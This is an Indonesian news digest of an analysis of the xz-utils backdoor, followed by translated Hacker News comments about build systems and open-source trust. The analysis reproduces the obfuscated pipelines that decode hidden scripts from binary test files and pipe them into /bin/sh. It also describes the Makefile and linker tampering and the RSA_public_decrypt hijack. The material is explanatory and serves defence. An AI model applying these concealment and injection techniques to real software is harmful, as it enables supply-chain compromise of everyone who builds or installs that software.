1 poin oleh GN⁺ 2024-04-03 | 1 komentar | Bagikan ke WhatsApp
  • Serangan xz terbagi menjadi injeksi kode shell pada tahap configure dan injeksi file objek pada tahap make; analisis ini menelusuri bagaimana skrip dalam tarball distribusi xz 5.6.0 dan 5.6.1 menyisipkan file objek backdoor ke dalam build
  • Kode berbahaya dan file objek disembunyikan dengan dikompresi dan dienkripsi seolah-olah merupakan file input uji biner di tests/files, dan deskripsi README yang sudah ada—“file uji buatan tangan”—membuat penyamaran ini lebih mudah
  • Kode yang ditambahkan ke m4/build-to-host.m4 mencari bad-3-corrupt_lzma2.xz, memulihkannya dengan tr dan xz -d, lalu menjalankannya dengan /bin/sh; pada 5.6.1 juga terdapat mekanisme ekstensi untuk mencari skrip tambahan dari file uji baru
  • Skrip configure mengubah src/liblzma/Makefile dan libtool agar skrip tersembunyi dijalankan kembali saat make, serta menyesuaikan -z,now dan flag terkait PIC agar ifunc resolver berjalan pada saat linking dinamis awal
  • Pada tahap make, objek berbahaya diekstrak dan didekripsi dari good-large_compressed.lzma, lalu mengganti keluaran build crc64_fast.c dan crc32_fast.c sehingga panggilan RSA_public_decrypt dicegat melalui _get_cpuid

Struktur keseluruhan serangan

  • Andres Freund mengumumkan keberadaan serangan xz pada 2024-03-29 di milis publik oss-security@openwall
    • Sehari sebelumnya ia juga memberi tahu Debian security dan daftar privat distros@openwall
    • Pemicunya adalah gejala aneh terkait liblzma pada instalasi Debian sid, yaitu penggunaan CPU tinggi saat login SSH dan error Valgrind
  • Serangan ini secara garis besar terdiri dari dua tahap
    • Kode shell disuntikkan saat configure
    • Kode shell ini kembali menyuntikkan kode shell ke make, lalu menambahkan file objek berbahaya ke build saat make
  • Jika file objek berbahaya dimasukkan langsung ke repositori sebagai evil.o, itu mudah menimbulkan kecurigaan, sehingga penyerang menyembunyikan kode shell dan file objek dengan mengompresi dan mengenkripsinya di dalam file input uji biner
  • Direktori tests/files sudah ada sebelum kemunculan Jia Tan, dan README menjelaskan bahwa file-file itu dipakai untuk menguji implementasi decoder .xz, .lzma, .lz; sebagian dibuat langsung dengan hex editor sehingga “tidak ada kode sumber yang lebih baik daripada file itu sendiri”
  • Penyerang memanfaatkan konteks ini agar tampak seperti sekadar menambahkan beberapa file uji baru

Titik eksekusi yang menjadi sasaran backdoor

  • Efek akhir skrip adalah membuat fungsi _get_cpuid dari file objek berbahaya dipanggil sebagai bagian dari GNU indirect function(ifunc) resolver
  • ifunc resolver umumnya dapat dipanggil secara lazy saat program berjalan, tetapi demi keamanan, pendekatan yang banyak dipakai adalah memanggil semuanya pada tahap awal dynamic linking lalu memetakan GOT dan PLT sebagai read-only
  • ifunc resolver berbahaya dapat berjalan pada tahap awal ketika GOT dan PLT masih bisa ditulis
  • Backdoor mencari RSA_public_decrypt dalam tabel dan menggantinya dengan versi penyerang
  • Fungsi pengganti menjalankan kode penyerang ketika sertifikat SSH yang tepat diberikan

Tahap configure: penyamaran build-to-host.m4

  • xz-utils menggunakan GNU autoconf, dan biasanya configure serta file m4 pendukung disertakan dalam distribusi tarball, bukan di repositori sumber
  • Serangan dimulai dengan menambahkan pustaka pendukung tak terduga m4/build-to-host.m4 ke tarball xz 5.6.0 dan xz 5.6.1
  • build-to-host.m4 berbahaya memuat perubahan yang tampak masuk akal jika dibandingkan dengan file standar
    • serial dinaikkan dari 3 ke 30
    • Tahun hak cipta diubah dari 2023 menjadi 2023-2024
    • Beberapa perubahan shell dan m4 yang sulit dibaca ditambahkan
  • Inti sebenarnya adalah kode yang mencari pola tertentu di dalam distribusi dengan grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/
    • File yang cocok dengan pola ini adalah ./tests/files/bad-3-corrupt_lzma2.xz
    • Akibatnya, gl_am_configmake menunjuk ke file uji ini
  • gl_path_map disetel ke tr "\t \-_" " \t_\-", yang menukar tab dan spasi, serta underscore dan tanda hubung

Pemulihan skrip pertama yang tersembunyi

  • gl_[$1]_prefix mengambil elemen setelah titik terakhir pada nama file, sehingga menjadi xz
    • Namanya tampak seperti prefix, tetapi sebenarnya merupakan ekstensi file
    • Ini menjadi nama perintah kompresi yang kemungkinan besar sudah terpasang di mesin build
  • String perintah yang kemudian dibuat terlihat menggunakan sed "r\n", tetapi sebenarnya lebih mirip cat yang diobfuscate
    • r\n pada sed adalah perintah untuk membaca file yang tidak ada bernama \n, sehingga tidak melakukan apa pun
    • Karena tidak ada -n, input dikeluarkan apa adanya
  • Perintah yang benar-benar dijalankan berbentuk seperti berikut
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
  • Perintah ini dievaluasi melalui AC_CONFIG_COMMANDS selama proses eksekusi config.status
  • Output yang dipulihkan menampilkan ####Hello#### dan ####World####; menurut README, stream pertama dan ketiga dari bad-3-corrupt_lzma2.xz adalah stream xz valid, dan hanya stream tengah yang data LZMA2-nya rusak

Perbedaan antara 5.6.0 dan 5.6.1

  • Pada xz 5.6.0, skrip pertama yang dipulihkan memotong rentang byte tertentu dari good-large_compressed.lzma, mentransformasikannya, lalu mengekstraknya sebagai stream LZMA mentah dan meneruskannya ke /bin/sh
  • Skrip pertama pada xz 5.6.1 memuat lima kali baris yang mencoba keluar jika bukan Linux
    • [ ! $(uname) = "Linux" ] && exit 0
    • Di dalam skrip panjang yang kemudian dianalisis juga ada baris pengecekan Linux khusus 5.6.1
    • Baris itu memiliki bug karena tidak ada spasi di sekitar =, sehingga tidak berfungsi
  • Pada 5.6.1, jumlah byte terakhir untuk head, offset tail, dan argumen tr berbeda dari 5.6.0
    • Dalam contoh, 5.6.1 mengekstrak 16×2048+939 = 33,707 byte
    • Setelah itu tail -c +31233 memakai 31.233 byte terakhir
  • Pipeline ekstraksi terdiri dari langkah-langkah berikut
    • Mendekompresi good-large_compressed.lzma dengan xz -dc
    • Mengekstrak rentang byte tertentu dengan pipeline head
    • Memilih bagian akhir dengan tail
    • Menerapkan sandi substitusi sederhana dengan tr
    • Mengekstrak stream LZMA mentah dengan xz -F raw --lzma1 -dc
    • Menjalankan hasilnya dengan /bin/sh

Mekanisme ekstensi pada 5.6.1

  • Di skrip panjang terdapat beberapa titik yang melakukan eval terhadap variabel yang belum disetel
    • Contoh: eval $zrKcVq, eval $zrKcSS
    • Kemungkinan ini adalah titik ekstensi untuk output debug atau mekanisme lain di masa depan yang akan menyetel nilainya
  • Jika config.status ada, skrip membaca LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map, dan lainnya
  • Kode ekstensi baru yang masuk di 5.6.1 mencari dua magic string di tests/files
    • String awal: ~!:_ W
    • String akhir: |_!{ -
  • Jika kedua string berada dalam file yang sama, byte di antaranya diekstrak, lalu outputnya di-eval setelah melalui tr dan ekstraksi LZMA2 mentah
  • Mekanisme ini tampaknya merupakan struktur untuk memasukkan skrip baru ke file uji lain di kemudian hari tanpa perlu membuat alasan bahwa file uji biner lama dibuat ulang

Kondisi eksekusi tahap configure

  • Skrip keluar diam-diam jika kondisi yang dibutuhkan backdoor tidak terpenuhi
  • Dukungan GNU ifunc harus aktif
    • config.status harus berisi ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1"
    • config.h harus berisi define HAVE_FUNC_ATTRIBUTE_IFUNC 1
  • Build pustaka bersama harus aktif
    • enable_shared harus bernilai yes
  • Target build harus x86-64 Linux
    • build harus memenuhi kondisi ^x86_64 dan linux-gnu$
  • Sumber terkait CRC ifunc harus tetap apa adanya
    • crc64_fast.c
    • crc32_fast.c
    • crc_x86_clmul.h
  • Kondisi compiler dan linker juga diperiksa
    • GCC=yes
    • CC=gcc
    • Output LD -v berisi GNU ld
  • File uji yang berisi backdoor, good-large_compressed.lzma dan bad-3-corrupt_lzma2.xz, harus ada

Modifikasi Makefile dan libtool

  • Jika debian/rules ada atau RPM_ARCH=x86_64, kode yang memodifikasi src/liblzma/Makefile dijalankan pada tahap configure
  • Pertama, skrip memastikan beberapa baris yang akan dipakai nanti sebagai titik penyisipan ada di dalam Makefile
    • ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
    • am__uninstall_files_from_dir = {
    • am__install_max =
    • am__vpath_adj_setup =
    • am__include = include
    • all: all-recursive
    • LTLIBRARIES = $(lib_LTLIBRARIES)
    • AM_V_CCLD = $(am__v_CCLD_$(V))
  • Pada libtool, skrip memastikan adanya pic_flag=" -fPIC -DPIC"
  • Setelah itu, dengan sed -i, baris-baris dengan karakter berikut disebar di berbagai bagian Makefile
    • am__test = bad-3-corrupt_lzma2.xz
    • am__strip_prefix = tr ...
    • am__dist_setup = ... | xz -d ... | $(SHELL)
    • am__test_dir = $(top_srcdir)/tests/files/$(am__test)
  • am__test_dir dari namanya tampak seperti direktori, tetapi sebenarnya menunjuk ke file
  • Baris-baris tambahan tidak dikumpulkan di satu tempat, melainkan disisipkan di berbagai bagian Makefile agar Makefile yang dihasilkan tampak rumit namun masuk akal

Flag linker dan eksekusi rekursif

  • Skrip tahap configure menambahkan -Wl,--sort-section=name,-X ke liblzma_la_LDFLAGS
  • Jika LDFLAGS yang ada belum memuat -z,now atau -z -Wl,now, skrip juga menambahkan -z,now
  • -Wl,now memaksa perilaku LD_BIND_NOW dengan membuat dynamic loader menyelesaikan semua simbol pada saat program dimulai
    • Dalam proses ini, ifunc resolver dijalankan saat startup
    • Backdoor dapat berjalan ketika GOT dan PLT masih bisa ditulis
  • Flag PIC pada libtool diubah sebagai berikut
    • Sebelumnya: -fPIC -DPIC
    • Setelah diubah: -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
  • Skrip juga menambahkan AM_V_CCLD dan potongan shell panjang ke Makefile
    • Di akhir, skrip menjalankan sed rpath $(am__test_dir) | $(am__dist_setup)
    • sed rpath juga berfungsi sebagai cat yang diobfuscate
  • Akibatnya, pipeline berikut dijalankan lagi selama make
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh

Tahap make: ekstraksi file objek

  • Pada tahap make, skrip dijalankan kembali dari direktori src/liblzma
  • Karena config.status tidak ada di direktori saat ini, bagian pengeditan Makefile dari tahap configure dilewati
  • Sebagai gantinya, jika .libs/liblzma_la-crc64_fast.o dan .libs/liblzma_la-crc32_fast.o ada, skrip menilai bahwa proses sedang berada di tahap make dan menjalankan kode berikutnya
  • Pada 5.6.1 juga ada hook ekstensi baru untuk tahap make
    • String awal: jV!.^%
    • String akhir: %.R.1Z
    • Tidak ada file uji yang memiliki string tersebut, sehingga tampaknya merupakan struktur untuk ekstensi di masa depan
  • Skrip kembali memastikan sumber terkait CRC ifunc sesuai dengan yang diharapkan
  • Skrip juga memastikan flag kompilasi dan linker yang ditambahkan pada tahap configure sudah diterapkan
    • ../../libtool harus memuat flag PIC tambahan
    • liblzma_la_LINK harus memuat -z,now atau -z -Wl,now
    • Jika ada lazy, skrip keluar

Dekripsi dan pemilihan objek berbahaya

  • Skrip memilih salah satu dari dua nilai offset berdasarkan isi gettext.m4
    • Karena gettext.m4 pada tarball xz yang didistribusikan tidak memiliki string pemeriksaan, pada contoh build seluruh input diambil
  • good-large_compressed.lzma kembali didekompresi, dan 33.707 byte diekstrak dengan pipeline head bernama i yang sudah disetel sebelumnya
  • Output tersebut dipecah per byte, lalu awk menjalankan fungsi dekripsi mirip RC4
    • Versi 5.6.1 mengulang loop kedua hingga 8192
    • Versi 5.6.0 mengulang loop di posisi yang sama hingga 4096
  • Output yang didekripsi kemudian didekompresi lagi dengan xz -dc --single-stream
    • --single-stream membuat proses berhenti pada marker EOF xz pertama, sehingga bagian yang sebelumnya diekstrak dengan tail tidak dibaca
  • Hasil akhirnya ditulis ke liblzma_la-crc64-fast.o

Penggantian objek CRC

  • Skrip mencadangkan keluaran build asli .libs/liblzma_la-crc64_fast.o ke nama yang mirip, .libs/liblzma_la-crc64-fast.o
    • Ini memanfaatkan perbedaan underscore (crc64_fast) dan tanda hubung (crc64-fast)
  • Berikutnya, skrip mengompilasi isi crc64_fast.c yang telah dimodifikasi dengan sed, sekaligus memasukkan objek berbahaya hasil ekstraksi liblzma_la-crc64-fast.o, lalu menimpa .libs/liblzma_la-crc64_fast.o
  • Kode C yang disisipkan membuat fungsi baru _is_arch_extension_supported, yang memanggil _get_cpuid di dalamnya
  • crc64_resolve yang ada diubah agar memanggil _is_arch_extension_supported() alih-alih is_arch_extension_supported()
  • _get_cpuid adalah fungsi yang disediakan file objek backdoor, dan menjalankan tindakan tambahan sebelum mengembalikan informasi cpuid
    • Secara khusus, ia mengubah GOT dan PLT untuk mencegat panggilan RSA_public_decrypt

Pemrosesan sisi crc32 dan pembersihan

  • Jika modifikasi crc64 berhasil, skrip menerapkan modifikasi serupa ke crc32_fast.c
  • Di sisi crc32, file objek backdoor tidak ditambahkan
    • Ini dilakukan agar objek backdoor tidak dimasukkan dua kali ke dalam build
  • Tidak jelas mengapa ifunc crc32 dan crc64 sama-sama dicegat
    • Analisis menilai salah satu saja tampaknya sudah cukup
    • Ada kemungkinan ini dilakukan agar kedua kode dispatch terlihat mirip di debugger
  • Jika kedua kompilasi berhasil, skrip me-link ulang file .la dengan liblzma_la_LINK
  • Jika linking berhasil tetapi .libs/liblzma.so tidak ada, ini dianggap gagal dan backup dipulihkan
  • Terlepas dari sukses atau tidaknya, .libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai, dan .libs/liblzma.so* dihapus
    • Diasumsikan tahap linking asli dari Makefile akan membuatnya lagi setelah itu
  • Pada jalur kegagalan, objek crc32 dan crc64 yang dicadangkan dikembalikan ke nama aslinya
  • Terakhir, skrip menghapus file sementara dan backup, sehingga menyuntikkan objek berbahaya ke artefak make tanpa meninggalkan jejak

1 komentar

 
GN⁺ 2024-04-03
Komentar Hacker News
  • Sebagai orang yang sudah lama tidak menyukai autotools, saya ingin bilang bahwa kejadian ini membenarkan posisi saya, tetapi jika sistem build cukup kompleks untuk mendukung banyak platform, maka mau tak mau sistem itu akan menjadi cukup sulit dipahami sampai-sampai seseorang bisa menyisipkan hal seperti ini
    Tetap saja, fakta bahwa banyak perangkat lunak pada praktiknya dibangun dengan skrip shell cargo cult raksasa yang tidak benar-benar dipahami siapa pun secara utuh adalah masalah besar

    • Saya rasa akar masalahnya adalah bash dan bahasa dengan sintaks yang kompleks dan padat sering dipakai
      Jika skrip build ditulis dalam Python, akan jauh lebih sulit untuk mengaburkan backdoor. Kode aneh akan terlihat oleh semua orang. Kode bash cenderung dianggap normal meski sebenarnya tidak terbaca
    • Saya paham kritik terhadap autotools, dan saya juga tidak pernah iri pada orang yang harus memelihara skrip konfigurasinya, tetapi sebagai pengguna saya rindu masa ketika hampir semua instalasi perangkat lunak selesai hanya dengan ./configure && make && make install
    • autotools memang sebaiknya ditinggalkan, tetapi sebagian besar use case mendasar yang menciptakan kompleksitas sistem build pada akhirnya bermuara pada manajemen dan deteksi dependensi
      Akar kompleksitasnya adalah tidak adanya best practice yang benar-benar mapan untuk alur itu, jadi dalam kondisi seperti ini semuanya tidak bisa diselesaikan hanya dengan satu konfigurasi build seperti mybuild.toml
    • Setuju, pada akhirnya kebutuhan untuk mendukung platform seluas ini menuntut sistem yang kompleks, dan itu membuat kita bertanya seberapa besar risiko yang sebenarnya kita ambil
      Dan juga mengapa membangun sesuatu seperti library kompresi, yang secara esensial hanya perlu menangani matematika dan alokasi memori, sampai membutuhkan sistem yang rumit
    • Saya juga berpikir begitu. Sangat menggoda untuk menyalahkan semua ini pada m4, tetapi itu lebih terdengar seperti trauma yang bicara
  • Dari sudut pandang pengembang, ini mengejutkan, dan juga menunjukkan bahwa sesuatu yang menurut saya tampak seperti teknik serangan kelas atas mungkin bagi orang yang bekerja di tahap ini hanyalah tingkat pemula sampai menengah
    Di HN ada hal-hal dengan level yang jauh lebih tinggi dari ini, jadi kalau ada cukup uang atau insentif lain, saya rasa ini baru permulaan dari apa yang mungkin dilakukan. Mengingat banyaknya paket di GitHub dan jutaan library yang ada, vektor ini terlalu efektif, jadi saya yakin dalam beberapa bulan ke depan akan terungkap ratusan kasus serupa
    Saya khawatir untuk vendor perangkat keras konsumen dan prosumer seperti Philips Hue, Alexa, SumUp, produsen kamera, Netgear, dan TP-Link. Produk mereka penuh dengan library open source, dan saya 100% yakin sebagian besar tim pengembang tidak menghabiskan waktu untuk mencari vektor injeksi tersembunyi seperti ini

    • Sulit memahami logika bahwa “sebagian besar tim pengembang tidak menghabiskan waktu untuk mencari vektor injeksi tersembunyi seperti ini”, dan kesannya orang yang suka menyalahkan dependency hell sedang mencoba membuat maintainer open source terlihat lebih buruk lewat skenario ini
      Jika sebuah organisasi komersial menjual keandalan, maka mereka melakukan analisis supply chain sebelum mengadopsi dependensi. Karena itu biasanya mereka membayar Red Hat untuk menjaga distribusi Linux yang stabil, dan proyek seperti FreeBSD sangat membatasi perangkat lunak yang masuk ke instalasi dasarnya
      Jika Anda terdampak kasus ini, memang disayangkan, tetapi itu tanggung jawab Anda. Jika Anda khawatir pengembang perangkat lunak yang Anda pakai gratis seperti free beer bisa berubah haluan, maka berikan insentif agar mereka tidak melakukannya, yaitu bayar mereka, atau fork proyeknya dan tambahkan pengamanan Anda sendiri
      Jika Anda khawatir dependensi dalam perangkat lunak komersial bisa terkena serangan supply chain, maka Anda harus menegosiasikan kontrak yang mencakup kompensasi atas kerugian itu. Jika tidak mau melakukan itu, berarti tidak profesional
      Tambahan lagi, saya serius mengatakan bahwa bahkan dependensi paling mendasar seperti SSH pun harus diperiksa supply chain-nya
    • Justru sebaliknya. Pengembang dan maintainer yang lebih paham daripada kita menggambarkan kejadian ini sebagai serangan yang sangat canggih
      Tulisan-tulisan awal keamanan informasi juga hanya mampu menjelaskan sebagian kode, dan belum membahas strategi serangan secara keseluruhan. Itu karena serangan dan kodenya memang canggih. Fakta bahwa analisis awal menjelaskan serangan ini dengan cara yang berbeda-beda juga karena memang tidak mudah dipahami, dan baru belakangan muncul tulisan yang mengatakan “akhirnya ini tampaknya adalah serangan remote code execution”
      Sekarang bahkan sudah ada pemindai untuk mendeteksi kerentanan ini di server, jadi semua orang bisa berkata, “oh, itu serangan yang sangat sederhana dan bodoh, kenapa tidak ketahuan lebih awal?”
    • Karena itu saya tidak menganggap TP-Link diuntungkan hanya karena firmware router-nya berbasis OpenWRT. Saya ingin perangkat saya menjalankan proyek upstream murni atau sesuatu yang secara desain selalu mengikuti upstream
      Ini berlaku untuk semua perangkat. Saya juga tidak suka Android harus memakai kernel lama, dan saya juga tidak suka ketika macOS menjalankan turunan Darwin/BSD yang usang. Saya khawatir dengan upaya yang dibutuhkan untuk melakukan backport
      Tentu saja ini bukan berarti open source tidak punya kerentanan
    • Organisasi yang dijalankan dengan cukup baik biasanya punya mekanisme untuk menerima pembaruan ketika muncul isu keamanan pada dependensi. Di beberapa industri, regulator atau lembaga sertifikasi seperti PCI juga menuntut hal itu
      Bisa jadi justru kita harus lebih takut pada backdoor tak terlihat di dalam perangkat lunak proprietary yang hampir tidak mungkin ditemukan
  • Sepertinya infografik Thomas Roccia belum disebut di sini: https://twitter.com/fr0gger_/status/1774342248437813525

    • Sebagian besarnya terasa seperti menghubungkan petunjuk secara paksa tanpa dasar yang cukup
      Misalnya, oss-fuzz membangun xz dengan langsung meng-clone repositori GitHub. Backdoor hanya ada di tarball, bukan di repositori, jadi tidak mungkin oss-fuzz menemukan backdoor tersebut. Karena itu, PR oss-fuzz itu bisa saja perubahan asli yang tidak terkait dengan backdoor
    • Jia Tan meminta distribusi untuk mempercepat pembaruan tepat sebelum pengungkapan publik
      Seberapa besar kemungkinan ada akun atau orang lain di sekitar Andreas Freund yang sudah lebih dulu tahu bahwa backdoor itu akan diungkap. Ini juga membuat saya bertanya-tanya apakah masih ada orang dalam lain di sekitarnya
    • Materi ini hanya menunjukkan pada level tinggi bagaimana exploit disisipkan ke liblzma, tetapi sama sekali tidak membahas bagaimana exploit itu bekerja atau isi detailnya
    • Jika melihat timeline, serangan dimulai dengan menambahkan entri pengecualian ke file .gitignore. Saat ini hal seperti itu sulit dideteksi
  • Dari sudut pandang pengamat yang polos, bagian yang paling menonjol adalah ini
    “Banyak file dibuat secara manual dengan editor heksadesimal, jadi tidak ada ‘source code’ yang lebih baik daripada file itu sendiri.” Saya bisa memahami bahwa itu mungkin terjadi pada library parsing seperti liblzma. Bagi penyerang, ini mungkin hanya terlihat seperti menambahkan beberapa file uji baru
    File itu sendiri memang menakutkan, tapi saya paham alasannya. Meski begitu, bukankah setidaknya itu bisa dipisahkan dari build
    “Biasanya skrip configure dan library pendukung ditambahkan hanya ke distribusi tarball, bukan ke repositori source. Distribusi xz juga seperti ini.”
    Mengesampingkan kemarahan seremonial terhadap autotools, saya tidak mengerti kenapa file uji harus masuk ke tarball. Memang tes berbahaya bisa saja menginfeksi mesin pengembang, tetapi jika tarball itu untuk membangun artefak akhir, bukankah kebijakannya seharusnya hanya menyertakan yang diperlukan. Terutama jika file uji itu berupa gumpalan biner yang tidak bisa diaudit

    • Menjalankan tes di CI untuk memastikan tidak ada masalah pada lingkungan tertentu setelah build itu cukup umum
      Namun terakhir kali kami melakukannya, kami lebih memilih Git upstream dan menghasilkan sendiri keluaran autoconf yang diperlukan. Konsep tarball rilis yang berisi hal-hal yang tidak ada di Git selalu terasa tidak nyaman bagi saya
    • Bahkan jika ada sejumlah kode autoconf yang sudah dihasilkan di dalamnya, itu tetap merupakan source tarball
      Harus bisa mengompilasi kode di mesin target lalu menjalankan tes
    • Selain memverifikasi bahwa program yang dikompilasi di target bekerja dengan benar, tes juga diperlukan untuk kompilasi dengan profile-guided optimization, karena dibutuhkan contoh eksekusi untuk dioptimalkan
  • “Perbedaan pertama adalah bahwa skrip itu dibuat agar pasti, benar-benar berhenti jika tidak dijalankan di Linux.”
    Pemeriksaan yang berulang-ulang itu memang misterius. Hipotesis saya adalah penyerang mungkin memasukkan pengulangan itu agar tampak meyakinkan seperti input uji untuk library kompresi

    • Mungkin tujuannya untuk menyediakan ruang bagi perubahan skrip. Karena byte di bagian depan skrip bisa ditimpa
      Atau mungkin cuma karena malas
    • Saya juga menganggapnya aneh. Di awal skrip juga ditempel byte acak yang berbeda-beda, dan itu bukan teks melainkan byte acak sungguhan. Hanya saja ada tanda hash di depannya sehingga diperlakukan sebagai komentar dan tidak memengaruhi skrip
      Kelihatannya disengaja, tetapi saya tidak tahu kenapa itu ada. Saya sempat menduga itu ditambahkan untuk mengisi ukuran karena xz cenderung melewati kompresi jika input terlalu pendek atau tidak cukup kompleks, tetapi setelah dihapus lalu dikompresi ulang dengan xz, hasilnya tetap terkompresi dengan baik dan plaintext aslinya tidak tersisa dalam byte arsip terkompresi
      Hal lain yang saya ketahui saat mencoba mereproduksi byte persis dari file .xz yang dikomit ke Git adalah bahwa stream xz dari skrip itu tampaknya tidak dikompresi dengan preset xz bawaan. Saya harus memakai xz --lzma2=dict=65536 -c stream_2 untuk mereproduksinya, dan semua preset bernomor bawaan memilih ukuran kamus yang berbeda. Ini juga tampak disengaja, tetapi saya tidak mengerti alasannya
    • Mungkin tujuannya untuk memperbesar atau mengaburkan sebagian file uji terkompresi
      Tanpa pengulangan itu, mungkin file terkompresinya akan menghasilkan biner aneh yang memicu alat keamanan atau antivirus
    • Apa ini benar-benar misteri? Penyerang kemungkinan membidik target Linux x86, dan dukungan IFUNC tidak dijamin bekerja di platform lain
    • Jika dijalankan di tempat selain Linux, mungkin itu bisa crash atau meninggalkan jejak karena perbedaan sistem operasi sehingga bisa terdeteksi
  • Tragis sekaligus lucu bahwa teknologi modern telah menjadi sangat rumit dan tidak perlu begitu sulit dipahami, dan itu terus memburuk. Rasanya seperti para pengembang menikmati hal itu secara sadistis

    • Ini mungkin penafsiran yang paling buruk
      Cukup menakjubkan bahwa alat-alat kita bisa mengikuti meningkatnya kompleksitas produk yang kita buat. Sejujurnya, dalam kebanyakan kasus semuanya justru makin sederhana, dan ini lebih terasa seperti orang-orang yang tidak mau belajar hal baru
  • Seseorang yang merekrut orang-orang ini untuk menyusup ke proyek ini kemungkinan telah menghabiskan waktu yang sangat besar untuk membuatnya lolos dari deteksi dalam jangka panjang. Untungnya, karena terlalu rumit, mereka tidak berhasil mempertimbangkan semua elemennya
    Karena itu saya tetap melihat bahwa dari sisi keamanan, open source akan selalu lebih baik daripada closed source. Tentu saja, insiden ini mengungkap cacat besar dalam rantai pasok, dan juga menunjukkan betapa elemen dasar FOSS diremehkan sehingga para maintainer rentan terhadap manipulasi
    Tapi kalau serangan yang sama terjadi di dalam perusahaan swasta? Kemungkinan besar bahkan tidak perlu obfuscation tingkat tinggi. Dengan PR yang cukup besar dan tenggat yang sudah dekat, hal seperti ini bisa diselundupkan ke sistem produksi dengan upaya minimal. Pada saat perusahaan sadar apa yang terjadi, pelakunya mungkin sudah terbang ke negara tanpa perjanjian ekstradisi dan menjual data bocoran lewat Tor atau dark web

    • Saya rasa ada survivorship bias di sini. Bagaimana kita tahu berapa banyak upaya serupa yang berhasil? Dari yang ditemukan, berapa banyak yang dianggap sekadar kesalahan biasa? Misalnya, bagaimana kita bisa yakin bahwa Heartbleed bukan sesuatu yang sengaja ditanam oleh seseorang, dan bahwa orang itu tidak menjadi sangat kaya sekarang
      Jika Anda direkrut oleh perusahaan swasta, perusahaan tahu siapa Anda. Itu sendiri adalah daya cegah langsung terhadap tindakan mencurigakan. Di GitHub, tidak ada yang tahu siapa Anda. Mungkin lebih sulit menyisipkan backdoor ke proyek tanpa ketahuan, tetapi kalaupun ketahuan, tidak ada risiko yang harus ditanggung. Anda bisa terus mencoba sesuka hati. Jia Tan masih belum tertangkap, dan bahkan tidak perlu merancang seluruh hidupnya untuk tinggal di negara tanpa perjanjian ekstradisi. Kecuali kalau memang sejak awal sudah berada di sana
    • Sulit setuju. Sebagian besar perusahaan swasta kemungkinan akan meminta pertemuan tatap muka saat perekrutan. Bahkan kalau sepenuhnya remote, tetap ada ekspektasi bahwa pada suatu saat Anda akan bertemu rekan kerja secara langsung, dan biasanya itu akan terjadi sebelum Anda membuat commit yang berarti. Kalau perusahaannya layak disusupi, hampir pasti juga akan meminta pemeriksaan latar belakang
      Dan setelah masuk pun, Anda tidak bisa seenaknya commit ke proyek target. Manajer dan atasan di atasnya punya prioritas lain. Manajemen perusahaan yang sering disfungsional justru bisa berfungsi sebagai pencegah di sini. Anda bukan hanya harus membenarkan kodenya, tetapi juga menjelaskan mengapa Anda mengerjakan hal itu sejak awal
    • Sedikit di luar topik, tapi menurut standar AS saat ini, sebenarnya ada berapa banyak negara tanpa perjanjian ekstradisi
      Bahkan negara yang hubungannya buruk pun bisa menyerahkan seseorang sebagai bagian dari negosiasi jika itu menguntungkan secara politik. Bahkan Rusia pun mungkin tidak akan menahan Snowden kalau dia bukan pembocor rahasia negara. Kalau cuma kebocoran data biasa, mungkin dia sudah ditukar dengan oligarki yang ditangkap di tempat lain karena pencucian uang
    • Meneliti proyek-proyek yang kecil, tampak relatif tidak berbahaya, tetapi dipakai hampir di mana-mana, lalu melihat apakah proyek-proyek itu bisa diperlakukan dengan cara serupa atau apakah hal serupa sudah pernah terjadi, bisa menjadi proyek kelas yang menarik
      Hanya dengan membuat daftarnya saja sudah akan berguna
  • Pelajaran dari insiden ini adalah bahwa mungkin kita tidak boleh mengizinkan anonimitas bagi kontributor inti proyek open source yang penting. Serangan ini berhasil, dan penyerangnya kemungkinan akan lolos tanpa konsekuensi apa pun, karena dia anonim

    • Tidak setuju
      Langkah seperti itu tidak akan membantu, dan akan mudah dilewati oleh aktor negara atau ancaman persisten tingkat lanjut serupa dengan menambahkan satu tahap pencurian identitas lagi ke dalam serangan, atau memakai agen yang bisa mereka lindungi jika backdoor ditemukan
      Sementara itu, hambatan teknis yang diperlukan untuk prosedur semacam itu kemungkinan akan sangat merugikan seluruh komunitas open source
      Solusinya di sini adalah belajar dari serangan ini dan beralih ke praktik yang membuat serangan serupa lebih sulit. File yang tidak ada di repositori jangan pernah dimasukkan ke release tarball. Kode hasil generasi harus semuanya di-check in, dan script build harus menghasilkan ulang kode turunan lalu gagal jika hasilnya berbeda dari kode yang sudah di-check in. Data yang sulit dipahami seharusnya tidak boleh diakses selama proses release build, dan pengujian yang bergantung pada data biner harus dibangun sepenuhnya terpisah dari biner rilis
    • Ada dua masalah
      Pertama, cukup banyak kontributor penting, terutama di bidang keamanan, memilih beraktivitas dengan nama samaran karena alasan yang sah. Memaksa mereka mengungkap identitas akan membuat mereka pergi
      Kedua, jika seperti dugaan banyak orang ada badan intelijen di balik ini, maka badan seperti itu tetap bisa menciptakan identitas “asli”. Pada akhirnya Anda justru menyingkirkan orang yang membantu, tetapi tidak berhasil menyingkirkan penyerang
    • Bukan hanya mustahil diterapkan, mungkin juga bukan ide yang baik. Karena jika kita mengetahui identitas maintainer proyek open source penting, akan lebih mudah untuk memberi tekanan kepada mereka
    • Jika ini aktor negara, dan memang tampaknya begitu, verifikasi seperti apa yang bisa dilakukan? SIM, nomor jaminan sosial, KTP nasional, paspor, apa pun, mereka bisa membuat dokumen sah untuk itu
      Kalau pemerintah terlibat, tidak ada batasnya. Satu-satunya cara adalah mewajibkan kehadiran fisik di tempat yang tepercaya, sambil berharap tempat itu bukan berada di yurisdiksi penyerang
    • Siapa yang menentukan apa itu proyek penting
      Kalau seseorang membuat library lalu orang lain mulai memakainya, apakah dia dipaksa mengungkap identitas? Apakah maintainer dibayar?
  • Kalau pernah bekerja dalam pengembangan, baik tertutup maupun terbuka, Anda tahu bahwa setengah dari developer malas saja menyetujui PR. Linus Torvalds hampir merupakan pengecualian langka yang menghabiskan sepanjang hari untuk menunjukkan masalah

    • Setuju
